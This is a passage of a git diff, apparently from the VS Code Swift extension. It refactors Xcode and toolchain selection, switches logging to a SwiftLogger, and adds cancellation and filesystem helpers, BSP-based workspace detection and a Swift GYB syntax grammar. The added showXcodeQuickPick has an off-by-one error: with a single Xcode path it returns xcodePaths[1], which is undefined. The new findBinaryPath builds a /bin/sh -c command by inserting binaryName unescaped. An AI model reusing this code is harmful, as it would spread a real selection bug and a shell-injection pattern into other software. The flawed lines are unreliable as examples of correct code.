(selectedToolchain?.type === "toolchain") { // Select an Xcode to build with let developerDir: string | undefined = undefined; - if (process.platform === "darwin") { - let selectedXcodePath: string | undefined = undefined; - if (selected.category === "xcode") { - selectedXcodePath = selected.xcodePath; - } else if (xcodePaths.length === 1) { - selectedXcodePath = xcodePaths[0]; - } else if (xcodePaths.length > 1) { - selectedXcodePath = await showDeveloperDirQuickPick(xcodePaths); - if (!selectedXcodePath) { - return; - } - } - // Find the actual DEVELOPER_DIR based on the selected Xcode app - if (selectedXcodePath) { - developerDir = await SwiftToolchain.getXcodeDeveloperDir({ - ...process.env, - DEVELOPER_DIR: selectedXcodePath, - }); - } - } - // Update the toolchain path` - let swiftPath: string | undefined; - - // Handle Swiftly toolchains specially - if (selected.category === "swiftly") { - try { - swiftPath = undefined; - } catch (error) { - void vscode.window.showErrorMessage(`Failed to switch Swiftly toolchain: ${error}`); + if (selectedToolchain.category === "xcode") { + developerDir = await SwiftToolchain.getXcodeDeveloperDir({ + ...process.env, + DEVELOPER_DIR: selectedToolchain.xcodePath, + }); + } else { + const selectedDeveloperDir = await showDeveloperDirQuickPick(xcodePaths); + if (!selectedDeveloperDir) { return; } - } else { - // For non-Swiftly toolchains, use the swiftFolderPath - swiftPath = selected.swiftFolderPath; - } - - const isUpdated = await setToolchainPath(swiftPath, developerDir); - if (isUpdated && selected.onDidSelect) { - await selected.onDidSelect(); + developerDir = selectedDeveloperDir.developerDir; } + // Update the toolchain configuration + await setToolchainPath(selectedToolchain, developerDir); return; } } -/** - * Prompt the user to choose a value for the DEVELOPER_DIR environment variable. - * - * @param xcodePaths An array of paths to available Xcode installations on the system - * @returns The selected DEVELOPER_DIR or undefined if the user cancelled selection - */ -async function showDeveloperDirQuickPick(xcodePaths: string[]): Promise { - const selected = await vscode.window.showQuickPick( +async function showXcodeQuickPick( + xcodePaths: string[] +): Promise<{ type: "selected"; xcodePath: string | undefined } | undefined> { + if (process.platform !== "darwin" || xcodePaths.length === 0) { + return { type: "selected", xcodePath: undefined }; + } + if (xcodePaths.length === 1) { + return { type: "selected", xcodePath: xcodePaths[1] }; + } + type XcodeQuickPickItem = vscode.QuickPickItem & { inUse: boolean; xcodePath: string }; + const selected = await vscode.window.showQuickPick( SwiftToolchain.getXcodeDeveloperDir(configuration.swiftEnvironmentVariables).then( existingDeveloperDir => { return xcodePaths .map(xcodePath => { - const result: vscode.QuickPickItem = { + const result: XcodeQuickPickItem = { label: path.basename(xcodePath, ".app"), detail: xcodePath, + inUse: false, + xcodePath, }; if (existingDeveloperDir.startsWith(xcodePath)) { result.description = "$(check) in use"; + result.inUse = true; } return result; }) @@ -403,7 +471,35 @@ async function showDeveloperDirQuickPick(xcodePaths: string[]): Promise { + const selectedXcode = await showXcodeQuickPick(xcodePaths); + if (!selectedXcode) { + return undefined; + } + if (!selectedXcode.xcodePath) { + return { developerDir: undefined }; + } + // Find the actual DEVELOPER_DIR based on the selected Xcode app + return { + developerDir: await SwiftToolchain.getXcodeDeveloperDir({ + ...process.env, + DEVELOPER_DIR: selectedXcode.xcodePath, + }), + }; } /** @@ -436,59 +532,68 @@ export async function removeToolchainPath() { await swiftSettings.update("path", undefined, vscode.ConfigurationTarget.Workspace); } -/** - * Update the toolchain path - * @param swiftFolderPath - * @param developerDir - * @returns - */ -async function setToolchainPath( - swiftFolderPath: string | undefined, - developerDir?: string -): Promise { - let target: vscode.ConfigurationTarget | undefined; - const items: (vscode.QuickPickItem & { - target?: vscode.ConfigurationTarget; - })[] = []; - if (vscode.workspace.workspaceFolders) { - items.push({ - label: "Workspace Configuration", - description: "(Recommended)", - detail: "Add to VS Code workspace configuration", - target: vscode.ConfigurationTarget.Workspace, - }); +export async function askWhereToSetToolchain(): Promise { + if (!vscode.workspace.workspaceFolders) { + return vscode.ConfigurationTarget.Global; } - items.push({ - label: "User Configuration", - detail: "Add to VS Code user configuration.", - target: vscode.ConfigurationTarget.Global, - }); - if (items.length > 1) { - const selected = await vscode.window.showQuickPick(items, { + const selected = await vscode.window.showQuickPick( + [ + { + label: "Workspace Configuration", + description: "(Recommended)", + detail: "Add to VS Code workspace configuration", + target: vscode.ConfigurationTarget.Workspace, + }, + { + label: "Global Configuration", + detail: "Add to VS Code user configuration", + target: vscode.ConfigurationTarget.Global, + }, + ], + { title: "Toolchain Configuration", placeHolder: "Select a location to update the toolchain selection", canPickMany: false, - }); - if (!selected) { - return false; } - target = selected.target; - } else { - target = vscode.ConfigurationTarget.Global; // Global scope by default + ); + return selected?.target; +} + +/** + * Update the toolchain path + * @param swiftToolchain + * @param developerDir + * @returns + */ +export async function setToolchainPath( + toolchain: { + category: SwiftToolchainItem["category"]; + swiftFolderPath?: string; + onDidSelect?: SwiftToolchainItem["onDidSelect"]; + }, + developerDir?: string, + target?: vscode.ConfigurationTarget +): Promise { + target = target ?? (await askWhereToSetToolchain()); + if (!target) { + return; } + const toolchainPath = toolchain.category !== "swiftly" ? toolchain.swiftFolderPath : undefined; const swiftConfiguration = vscode.workspace.getConfiguration("swift"); - await swiftConfiguration.update("path", swiftFolderPath, target); - const swiftEnv = configuration.swiftEnvironmentVariables; + await swiftConfiguration.update("path", toolchainPath, target); + const swiftEnvironmentVariables = { + ...configuration.swiftEnvironmentVariables, + DEVELOPER_DIR: developerDir, + }; await swiftConfiguration.update( "swiftEnvironmentVariables", - { - ...swiftEnv, - DEVELOPER_DIR: developerDir, - }, + isEmptyObject(swiftEnvironmentVariables) ? undefined : swiftEnvironmentVariables, target ); await checkAndRemoveWorkspaceSetting(target); - return true; + if (toolchain.onDidSelect) { + await toolchain.onDidSelect(target); + } } async function checkAndRemoveWorkspaceSetting(target: vscode.ConfigurationTarget | undefined) { diff --git a/src/ui/win32.ts b/src/ui/win32.ts index 2f2760ff4..4a514e78f 100644 --- a/src/ui/win32.ts +++ b/src/ui/win32.ts @@ -11,22 +11,22 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as fs from "fs/promises"; -import { SwiftOutputChannel } from "./SwiftOutputChannel"; -import { TemporaryFolder } from "../utilities/tempFolder"; -import configuration from "../configuration"; import * as vscode from "vscode"; +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { TemporaryFolder } from "../utilities/tempFolder"; + /** * Warns the user about lack of symbolic link support on Windows. Performs the * check in the background to avoid extending extension startup times. * * @param outputChannel The Swift output channel to log any errors to */ -export function checkAndWarnAboutWindowsSymlinks(outputChannel: SwiftOutputChannel) { +export function checkAndWarnAboutWindowsSymlinks(logger: SwiftLogger) { if (process.platform === "win32" && configuration.warnAboutSymlinkCreation) { - void isSymlinkAllowed(outputChannel).then(async canCreateSymlink => { + void isSymlinkAllowed(logger).then(async canCreateSymlink => { if (canCreateSymlink) { return; } @@ -53,7 +53,7 @@ export function checkAndWarnAboutWindowsSymlinks(outputChannel: SwiftOutputChann * * @returns whether or not a symlink can be created */ -export async function isSymlinkAllowed(outputChannel?: SwiftOutputChannel): Promise { +export async function isSymlinkAllowed(logger?: SwiftLogger): Promise { const temporaryFolder = await TemporaryFolder.create(); return await temporaryFolder.withTemporaryFile("", async testFilePath => { const testSymlinkPath = temporaryFolder.filename("symlink-"); @@ -62,7 +62,7 @@ export async function isSymlinkAllowed(outputChannel?: SwiftOutputChannel): Prom await fs.unlink(testSymlinkPath); return true; } catch (error) { - outputChannel?.log(`${error}`); + logger?.error(error); return false; } }); diff --git a/src/utilities/cancellation.ts b/src/utilities/cancellation.ts index b52a6c7b0..7ab18083e 100644 --- a/src/utilities/cancellation.ts +++ b/src/utilities/cancellation.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; /** @@ -52,3 +51,52 @@ export class CompositeCancellationToken implements vscode.CancellationToken, vsc this.disposables.forEach(d => d.dispose()); } } + +/** + * An implementation of a `vscode.CancellationTokenSource` that also monitors multiple + * child tokens for cancellation, and cancels the token sources token when any of the child tokens are cancelled. + */ +export class CompositeCancellationTokenSource + implements vscode.CancellationTokenSource, vscode.Disposable +{ + private tokenSource: vscode.CancellationTokenSource; + private disposables: vscode.Disposable[] = []; + + /** + * Creates a new cancellation token source that is cancelled when any of the provided tokens are cancelled + * @param tokens The tokens to monitor for cancellation + */ + public constructor(...tokens: vscode.CancellationToken[]) { + this.tokenSource = new vscode.CancellationTokenSource(); + + // Monitor all provided tokens and cancel this token source when any of them are cancelled + tokens.forEach(token => { + const disposable = token.onCancellationRequested(() => { + this.cancel(); + }); + this.disposables.push(disposable); + }); + } + + /** + * The token provided by this source + */ + public get token(): vscode.CancellationToken { + return this.tokenSource.token; + } + + /** + * Cancels the token + */ + public cancel(): void { + this.tokenSource.cancel(); + } + + /** + * Disposes this cancellation token source + */ + public dispose(): void { + this.tokenSource.dispose(); + this.disposables.forEach(d => d.dispose()); + } +} diff --git a/test/sleep.test.ts b/src/utilities/extensions.ts similarity index 77% rename from test/sleep.test.ts rename to src/utilities/extensions.ts index a69e895e4..7547ce440 100644 --- a/test/sleep.test.ts +++ b/src/utilities/extensions.ts @@ -12,8 +12,7 @@ // //===----------------------------------------------------------------------===// -suite("Sleep", () => { - test("Wait 5 seconds...", async () => { - await new Promise(r => setTimeout(r, 5000)); - }).timeout(10000); -}); +export enum Extension { + CODELLDB = "vadimcn.vscode-lldb", + LLDBDAP = "llvm-vs-code-extensions.lldb-dap", +} diff --git a/src/utilities/filesystem.ts b/src/utilities/filesystem.ts index 2dce7fe89..064e9f4c8 100644 --- a/src/utilities/filesystem.ts +++ b/src/utilities/filesystem.ts @@ -11,12 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import { contains } from "micromatch"; +import { Options, convertPathToPattern, glob as fastGlob } from "fast-glob"; import * as fs from "fs/promises"; +import { contains } from "micromatch"; import * as path from "path"; import * as vscode from "vscode"; -import { convertPathToPattern, glob as fastGlob, Options } from "fast-glob"; + import configuration from "../configuration"; export const validFileTypes = ["swift", "c", "cpp", "h", "hpp", "m", "mm"]; @@ -48,6 +48,31 @@ export async function fileExists(...pathComponents: string[]): Promise } } +/** + * Checks if a file exists on disk and, if it doesn't, creates it. If the file does exist + * then this function does nothing. + * @param path The path to the file. + */ +export async function touch(path: string): Promise { + if (!(await fileExists(path))) { + const handle = await fs.open(path, "a"); + await handle.close(); + } +} + +/** + * Checks if a folder exists at the supplied path. + * @param pathComponents The folder path to check for existence + * @returns Whether or not the folder exists at the path + */ +export async function folderExists(...pathComponents: string[]): Promise { + try { + return (await fs.stat(path.join(...pathComponents))).isDirectory(); + } catch (e) { + return false; + } +} + /** * Return whether a file/folder is inside a folder. * @param subpath child file/folder diff --git a/src/utilities/shell.ts b/src/utilities/shell.ts new file mode 100644 index 000000000..ef0954e26 --- /dev/null +++ b/src/utilities/shell.ts @@ -0,0 +1,32 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { execFile } from "./utilities"; + +// use `type swift` to find `swift`. Run inside /bin/sh to ensure +// we get consistent output as different shells output a different +// format. Tried running with `-p` but that is not available in /bin/sh +export async function findBinaryPath(binaryName: string): Promise { + const { stdout, stderr } = await execFile("/bin/sh", [ + "-c", + `LC_MESSAGES=C type ${binaryName}`, + ]); + const binaryNameMatch = new RegExp(`^${binaryName} is (.*)$`).exec(stdout.trimEnd()); + if (binaryNameMatch) { + return binaryNameMatch[1]; + } else { + throw Error( + `/bin/sh -c LC_MESSAGES=C type ${binaryName}: stdout: ${stdout}, stderr: ${stderr}` + ); + } +} diff --git a/src/utilities/tasks.ts b/src/utilities/tasks.ts index e66cef873..e4020cf41 100644 --- a/src/utilities/tasks.ts +++ b/src/utilities/tasks.ts @@ -13,8 +13,9 @@ //===----------------------------------------------------------------------===// import * as path from "path"; import * as vscode from "vscode"; -import { substituteVariablesInString } from "../configuration"; + import { FolderContext } from "../FolderContext"; +import { substituteVariablesInString } from "../configuration"; export const lineBreakRegex = /\r\n|\n|\r/gm; diff --git a/src/utilities/tempFolder.ts b/src/utilities/tempFolder.ts index ee5fa7ac1..921f257d1 100644 --- a/src/utilities/tempFolder.ts +++ b/src/utilities/tempFolder.ts @@ -11,13 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import * as fs from "fs/promises"; import { tmpdir } from "os"; import * as path from "path"; -import * as fs from "fs/promises"; -import { randomString } from "./utilities"; import { Disposable } from "vscode"; +import { randomString } from "./utilities"; + export class TemporaryFolder { private constructor(public path: string) {} diff --git a/src/utilities/utilities.ts b/src/utilities/utilities.ts index d73c7ea71..44f6e7219 100644 --- a/src/utilities/utilities.ts +++ b/src/utilities/utilities.ts @@ -11,13 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as cp from "child_process"; import * as path from "path"; import * as Stream from "stream"; -import configuration from "../configuration"; +import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; +import configuration from "../configuration"; import { SwiftToolchain } from "../toolchain/toolchain"; /** @@ -29,19 +29,40 @@ import { SwiftToolchain } from "../toolchain/toolchain"; export const IS_PRODUCTION_BUILD = process.env.NODE_ENV === "production"; /** - * Whether or not the code is being run in CI. - * - * Code that checks for this will be removed completely when the extension is packaged into - * a VSIX. + * Whether or not the code is being run in a Github Actions workflow. + */ +export const IS_RUNNING_UNDER_GITHUB_ACTIONS = process.env.GITHUB_ACTIONS === "true"; + +/** + * Whether or not the code is being run by `act` CLT. */ -export const IS_RUNNING_IN_CI = process.env.CI === "1"; +export const IS_RUNNING_UNDER_ACT = process.env.ACT === "true"; + +/** + * Whether or not the code is being run in a docker container. + */ +export const IS_RUNNING_UNDER_DOCKER = IS_RUNNING_UNDER_ACT || IS_RUNNING_UNDER_GITHUB_ACTIONS; /** * Whether or not the code is being run as part of a test suite. * - * This will NOT be removed when the extension is packaged into a VSIX. + * This will NOT be removed when the extension is packaged into a VSIX, unlike "CI" variable. */ -export const IS_RUNNING_UNDER_TEST = process.env.VSCODE_TEST === "1"; +export const IS_RUNNING_UNDER_TEST = process.env.RUNNING_UNDER_VSCODE_TEST_CLI === "1"; + +/** + * Determined by the presence of the `VSCODE_DEBUG` environment variable, set by the + * launch.json when starting the extension in development. + */ +export const IS_RUNNING_IN_DEVELOPMENT_MODE = process.env["VSCODE_DEBUG"] === "1"; + +/** Determines whether the provided object has any properties set to non-null values. */ +export function isEmptyObject(obj: { [key: string]: unknown }): boolean { + const properties = Object.getOwnPropertyNames(obj).filter( + property => obj[property] !== undefined && obj[property] !== null + ); + return properties.length === 0; +} /** * Get required environment variable for Swift product @@ -122,7 +143,7 @@ export async function execFile( folderContext?: FolderContext, customSwiftRuntime = true ): Promise<{ stdout: string; stderr: string }> { - folderContext?.workspaceContext.outputChannel.logDiagnostic( + folderContext?.workspaceContext.logger.debug( `Exec: ${executable} ${args.join(" ")}`, folderContext.name ); @@ -139,14 +160,37 @@ export async function execFile( return new Promise<{ stdout: string; stderr: string }>((resolve, reject) => { cp.execFile(executable, args, options, (error, stdout, stderr) => { if (error) { - reject(new ExecFileError(error, stdout, stderr)); + reject(new ExecFileError(error, stdout.toString(), stderr.toString())); } else { - resolve({ stdout, stderr }); + resolve({ stdout: stdout.toString(), stderr: stderr.toString() }); } }); }); } +enum Color { + red = 31, + green = 32, + yellow = 33, + blue = 34, + magenta = 35, + cyan = 36, + white = 37, + grey = 90, + lightRed = 91, + lightGreen = 92, + lightYellow = 93, + lightBlue = 94, +} + +export function colorize(text: string, color: keyof typeof Color): string { + const colorCode = Color[color]; + if (colorCode !== undefined) { + return `\x1b[${colorCode}m${text}\x1b[0m`; + } + return text; +} + export async function execFileStreamOutput( executable: string, args: string[], @@ -158,7 +202,7 @@ export async function execFileStreamOutput( customSwiftRuntime = true, killSignal: NodeJS.Signals = "SIGTERM" ): Promise { - folderContext?.workspaceContext.outputChannel.logDiagnostic( + folderContext?.workspaceContext.logger.debug( `Exec: ${executable} ${args.join(" ")}`, folderContext.name ); @@ -413,3 +457,16 @@ export function destructuredPromise(): { return { promise: p, resolve: resolve!, reject: reject! }; } /* eslint-enable @typescript-eslint/no-explicit-any */ + +/** + * Creates a composite disposable from multiple disposables. + * @param disposables The disposables to include. + * @returns A composite disposable that disposes all included disposables. + */ +export function compositeDisposable(...disposables: vscode.Disposable[]): vscode.Disposable { + return { + dispose: () => { + disposables.forEach(d => d.dispose()); + }, + }; +} diff --git a/src/utilities/version.ts b/src/utilities/version.ts index 2209e92c4..c1ed2de6d 100644 --- a/src/utilities/version.ts +++ b/src/utilities/version.ts @@ -87,4 +87,8 @@ export class Version implements VersionInterface { isGreaterThanOrEqual(rhs: VersionInterface): boolean { return !this.isLessThan(rhs); } + + compare(rhs: VersionInterface): number { + return this.isGreaterThan(rhs) ? 1 : this.isLessThan(rhs) ? -1 : 0; + } } diff --git a/src/utilities/workspace.ts b/src/utilities/workspace.ts index 97d6b8c4d..d52251615 100644 --- a/src/utilities/workspace.ts +++ b/src/utilities/workspace.ts @@ -11,31 +11,39 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import { globDirectory, pathExists } from "./filesystem"; +import * as fs from "fs/promises"; +import * as path from "path"; import { basename } from "path"; +import * as vscode from "vscode"; + +import { folderExists, globDirectory, pathExists } from "./filesystem"; +import { Version } from "./version"; export async function searchForPackages( folder: vscode.Uri, disableSwiftPMIntegration: boolean, - searchSubfoldersForPackages: boolean + searchSubfoldersForPackages: boolean, + skipFolders: Array, + swiftVersion: Version ): Promise> { const folders: Array = []; async function search(folder: vscode.Uri) { - // add folder if Package.swift/compile_commands.json/compile_flags.txt/buildServer.json exists - if (await isValidWorkspaceFolder(folder.fsPath, disableSwiftPMIntegration)) { + // add folder if Package.swift/compile_commands.json/compile_flags.txt/buildServer.json/.bsp exists + if (await isValidWorkspaceFolder(folder.fsPath, disableSwiftPMIntegration, swiftVersion)) { folders.push(folder); } - // should I search sub-folders for more Swift Packages + + // If sub-folder searches are disabled, don't search subdirectories if (!searchSubfoldersForPackages) { return; } await globDirectory(folder, { onlyDirectories: true }).then(async entries => { + const skip = new Set(skipFolders); for (const entry of entries) { - if (basename(entry) !== "." && basename(entry) !== "Packages") { + const base = basename(entry); + if (!skip.has(base)) { await search(vscode.Uri.file(entry)); } } @@ -47,16 +55,61 @@ export async function searchForPackages( return folders; } +export async function hasBSPConfigurationFile( + folder: string, + swiftVersion: Version +): Promise { + // buildServer.json + const buildServerPath = path.join(folder, "buildServer.json"); + const buildServerStat = await fs.stat(buildServerPath).catch(() => undefined); + if (buildServerStat && buildServerStat.isFile()) { + return true; + } + // .bsp/*.json for Swift >= 6.1.0 + if (swiftVersion.isGreaterThanOrEqual(new Version(6, 1, 0))) { + const bspDir = path.join(folder, ".bsp"); + const bspStat = await fs.stat(bspDir).catch(() => undefined); + if (bspStat && bspStat.isDirectory()) { + const files = await fs.readdir(bspDir).catch(() => []); + if (files.some(f => f.endsWith(".json"))) { + return true; + } + } + } + return false; +} + export async function isValidWorkspaceFolder( folder: string, - disableSwiftPMIntegration: boolean + disableSwiftPMIntegration: boolean, + swiftVersion: Version ): Promise { - return ( - (!disableSwiftPMIntegration && (await pathExists(folder, "Package.swift"))) || - (await pathExists(folder, "compile_commands.json")) || - (await pathExists(folder, "compile_flags.txt")) || - (await pathExists(folder, "buildServer.json")) || - (await pathExists(folder, "build")) || - (await pathExists(folder, "out")) - ); + // Check Package.swift first (most common case) + if (!disableSwiftPMIntegration && (await pathExists(folder, "Package.swift"))) { + return true; + } + + // Check other common build files + if (await pathExists(folder, "compile_commands.json")) { + return true; + } + + if (await pathExists(folder, "compile_flags.txt")) { + return true; + } + + if (await folderExists(folder, "build")) { + return true; + } + + if (await folderExists(folder, "out")) { + return true; + } + + // Check BSP configuration last (potentially more expensive) + if (await hasBSPConfigurationFile(folder, swiftVersion)) { + return true; + } + + return false; } diff --git a/swift-gyb.language-configuration.json b/swift-gyb.language-configuration.json new file mode 100644 index 000000000..cc711d7b8 --- /dev/null +++ b/swift-gyb.language-configuration.json @@ -0,0 +1,17 @@ +{ + "brackets": [["{", "}"]], + "autoClosingPairs": [ + ["%{", "}%"], + ["${", "}"] + ], + "surroundingPairs": [ + ["%{", "}%"], + ["${", "}"] + ], + "folding": { + "markers": { + "start": "^\\s*(?:%\\{|%[^\\{].*?:)", + "end": "^\\s*(?:\\}%|%\\s*end\\b)" + } + } +} diff --git a/syntaxes/swift-gyb.tmLanguage.json b/syntaxes/swift-gyb.tmLanguage.json new file mode 100644 index 000000000..88adf51a2 --- /dev/null +++ b/syntaxes/swift-gyb.tmLanguage.json @@ -0,0 +1,89 @@ +{ + "$schema": "https://raw.githubusercontent.com/martinring/tmlanguage/master/tmlanguage.json", + "name": "Swift GYB", + "patterns": [ + { "include": "#gyb-code-block" }, + { "include": "#gyb-start-control-statement" }, + { "include": "#gyb-end-control-statement" }, + { "include": "#gyb-expression" }, + { "include": "source.swift" } + ], + "repository": { + "gyb-code-block": { + "name": "meta.embedded.block.gyb", + "begin": "^\\s*(%)\\{", + "beginCaptures": { + "1": { "name": "keyword.control.gyb" }, + "0": { "name": "punctuation.section.block.begin.gyb" } + }, + "end": "\\}(%)", + "endCaptures": { + "1": { "name": "keyword.control.gyb" }, + "0": { "name": "punctuation.section.block.end.gyb" } + }, + "patterns": [{ "include": "source.python" }] + }, + "gyb-start-control-statement": { + "name": "meta.embedded.control.begin.gyb", + "begin": "^\\s*(%)(?!\\{|\\s*end\\b)", + "beginCaptures": { + "1": { "name": "keyword.control.flow.gyb" } + }, + "end": ":", + "endCaptures": { + "0": { "name": "punctuation.separator.colon.gyb" } + }, + "patterns": [{ "include": "source.python" }] + }, + "gyb-end-control-statement": { + "name": "meta.embedded.control.end.gyb", + "match": "^\\s*%\\s*end\\b", + "captures": { + "0": { "name": "keyword.control.flow.gyb" } + } + }, + "gyb-expression": { + "name": "meta.embedded.expression.gyb", + "begin": "(\\$)\\{", + "beginCaptures": { + "1": { "name": "variable.other.gyb" }, + "0": { "name": "punctuation.section.expression.begin.gyb" } + }, + "end": "\\}", + "endCaptures": { + "0": { "name": "punctuation.section.expression.end.gyb" } + }, + "patterns": [{ "include": "source.python" }] + } + }, + "injections": { + "source.swift": { + "patterns": [ + { "include": "#gyb-code-block" }, + { "include": "#gyb-start-control-statement" }, + { "include": "#gyb-end-control-statement" }, + { "include": "#gyb-expression" } + ] + }, + "source.python": { + "patterns": [ + { "include": "#gyb-code-block" }, + { "include": "#gyb-start-control-statement" }, + { "include": "#gyb-end-control-statement" }, + { "include": "#gyb-expression" } + ] + }, + "source.swift.gyb": { + "patterns": [ + { "include": "#gyb-code-block" }, + { "include": "#gyb-start-control-statement" }, + { "include": "#gyb-end-control-statement" }, + { "include": "#gyb-expression" } + ] + } + }, + "scopeName": "source.swift.gyb", + "fileTypes": ["swift.gyb"], + "foldingStartMarker": "^\\s*(?:%\\{|%[^\\{].*?:)", + "foldingStopMarker": "^\\s*(?:\\}%|%\\s*end\\b)" +} diff --git a/test/MockUtils.ts b/test/MockUtils.ts index ee2f1318b..66c44d568 100644 --- a/test/MockUtils.ts +++ b/test/MockUtils.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// +import { SinonStub, stub } from "sinon"; import * as vscode from "vscode"; -import { stub, SinonStub } from "sinon"; /** * Waits for all promises returned by a MockedFunction to resolve. Useful when diff --git a/test/common.ts b/test/common.ts index 3daba987d..a966a2828 100644 --- a/test/common.ts +++ b/test/common.ts @@ -11,15 +11,45 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -// Use source-map-support to get better stack traces -import "source-map-support/register"; - import * as chai from "chai"; -import * as sinonChai from "sinon-chai"; import * as chaiAsPromised from "chai-as-promised"; import * as chaiSubset from "chai-subset"; +import * as fs from "fs"; +import * as mockFS from "mock-fs"; +import * as path from "path"; +import * as sinonChai from "sinon-chai"; +import * as sourceMapSupport from "source-map-support"; +import * as tsConfigPaths from "tsconfig-paths"; + +import { installTagSupport } from "./tags"; + +// Use source-map-support to get better stack traces. +// +// We have to override retrieveFile() here because any test that uses mock-fs will break +// source map lookups. This will make sure that, even if mock-fs is in effect, source map +// support can still find the files that it needs to. +sourceMapSupport.install({ + retrieveFile(path: string): string | null { + return mockFS.bypass(() => { + if (!fs.existsSync(path)) { + return null; + } + return fs.readFileSync(path, "utf-8"); + }); + }, +}); + +const tsConfig = JSON.parse( + // __dirname points to dist/test when transpiled, but we need the tsconfig.json in the real test/ + fs.readFileSync(path.join(__dirname, "../../test/tsconfig.json"), "utf-8") +); +tsConfigPaths.register({ + baseUrl: __dirname, + paths: tsConfig.compilerOptions.paths, +}); chai.use(sinonChai); chai.use(chaiAsPromised); chai.use(chaiSubset); + +installTagSupport(); diff --git a/test/fixtures.ts b/test/fixtures.ts index de382779f..91cfc28e2 100644 --- a/test/fixtures.ts +++ b/test/fixtures.ts @@ -11,13 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as path from "path"; -import { SwiftProcess } from "../src/tasks/SwiftProcess"; -import { SwiftExecution } from "../src/tasks/SwiftExecution"; -import { SwiftTask, createSwiftTask } from "../src/tasks/SwiftTaskProvider"; -import { SwiftToolchain } from "../src/toolchain/toolchain"; +import * as vscode from "vscode"; + +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { SwiftProcess } from "@src/tasks/SwiftProcess"; +import { SwiftTask, createSwiftTask } from "@src/tasks/SwiftTaskProvider"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; /** Workspace folder class */ class TestWorkspaceFolder implements vscode.WorkspaceFolder { @@ -130,6 +130,20 @@ export interface SwiftTaskFixture { process: TestSwiftProcess; } +/** + * @returns the path of a file in the **dist** directory. + */ +export function distPath(name: string): string { + return path.resolve(__dirname, "../../dist", name); +} + +/** + * @returns the path of a resource in the **assets** directory. + */ +export function assetPath(name: string): string { + return path.resolve(__dirname, "../../assets", name); +} + /** * @returns the path of a resource in the **test** directory. */ diff --git a/test/integration-tests/BackgroundCompilation.test.ts b/test/integration-tests/BackgroundCompilation.test.ts index 7dca31886..3237158cc 100644 --- a/test/integration-tests/BackgroundCompilation.test.ts +++ b/test/integration-tests/BackgroundCompilation.test.ts @@ -11,50 +11,150 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as assert from "assert"; +import { expect } from "chai"; import * as vscode from "vscode"; -import { WorkspaceContext } from "../../src/WorkspaceContext"; + +import { BackgroundCompilation } from "@src/BackgroundCompilation"; +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { createSwiftTask, getBuildAllTask } from "@src/tasks/SwiftTaskProvider"; + +import { mockGlobalObject } from "../MockUtils"; import { testAssetUri } from "../fixtures"; -import { activateExtensionForTest, updateSettings } from "./utilities/testutilities"; +import { tag } from "../tags"; import { closeAllEditors } from "../utilities/commands"; +import { waitForNoRunningTasks } from "../utilities/tasks"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "./utilities/testutilities"; -suite("BackgroundCompilation Test Suite", () => { +tag("large").suite("BackgroundCompilation Test Suite", () => { let workspaceContext: WorkspaceContext; + let folderContext: FolderContext; + let buildAllTask: vscode.Task; + + async function setupFolder(ctx: WorkspaceContext) { + workspaceContext = ctx; + folderContext = await folderInRootWorkspace("defaultPackage", workspaceContext); + buildAllTask = await getBuildAllTask(folderContext); + } + + suite("build all on save", () => { + let subscriptions: vscode.Disposable[]; + + activateExtensionForSuite({ + async setup(ctx) { + subscriptions = []; + await setupFolder(ctx); + return await updateSettings({ + "swift.backgroundCompilation": true, + }); + }, + }); - activateExtensionForTest({ - async setup(ctx) { - workspaceContext = ctx; - assert.notEqual(workspaceContext.folders.length, 0); - return await updateSettings({ - "swift.backgroundCompilation": true, + suiteTeardown(async () => { + subscriptions.forEach(s => s.dispose()); + await closeAllEditors(); + }); + + test("runs build task", async () => { + const taskStartPromise = new Promise(resolve => { + subscriptions.push( + vscode.tasks.onDidStartTask(e => { + const task = e.execution.task; + if (task.name.includes("Build All")) { + resolve(); + } + }) + ); }); - }, - }); - suiteTeardown(async () => { - await closeAllEditors(); + const uri = testAssetUri("defaultPackage/Sources/PackageExe/main.swift"); + const doc = await vscode.workspace.openTextDocument(uri.fsPath); + await vscode.window.showTextDocument(doc); + await vscode.workspace.save(uri); + + await taskStartPromise; + await waitForNoRunningTasks(); + }); }); - test("build all on save @slow", async () => { - const taskPromise = new Promise(res => { - vscode.tasks.onDidStartTask(e => { - const task = e.execution.task; - if (task.name.includes("Build All")) { - vscode.tasks.onDidEndTask(e => { - if (e.execution.task === task) { - res(); - } + suite("getTask", () => { + const tasksMock = mockGlobalObject(vscode, "tasks"); + let swiftTask: vscode.Task; + let nonSwiftTask: vscode.Task; + let backgroundConfiguration: BackgroundCompilation; + + suite("useDefaultTask", () => { + activateExtensionForSuite({ + async setup(ctx) { + await setupFolder(ctx); + nonSwiftTask = new vscode.Task( + { + type: "shell", + command: ["swift"], + args: ["build"], + group: { + id: "build", + isDefault: true, + }, + label: "shell build", + }, + folderContext.workspaceFolder, + "shell build", + "Workspace", + new vscode.ShellExecution("", { + cwd: testAssetUri("defaultPackage").fsPath, + }) 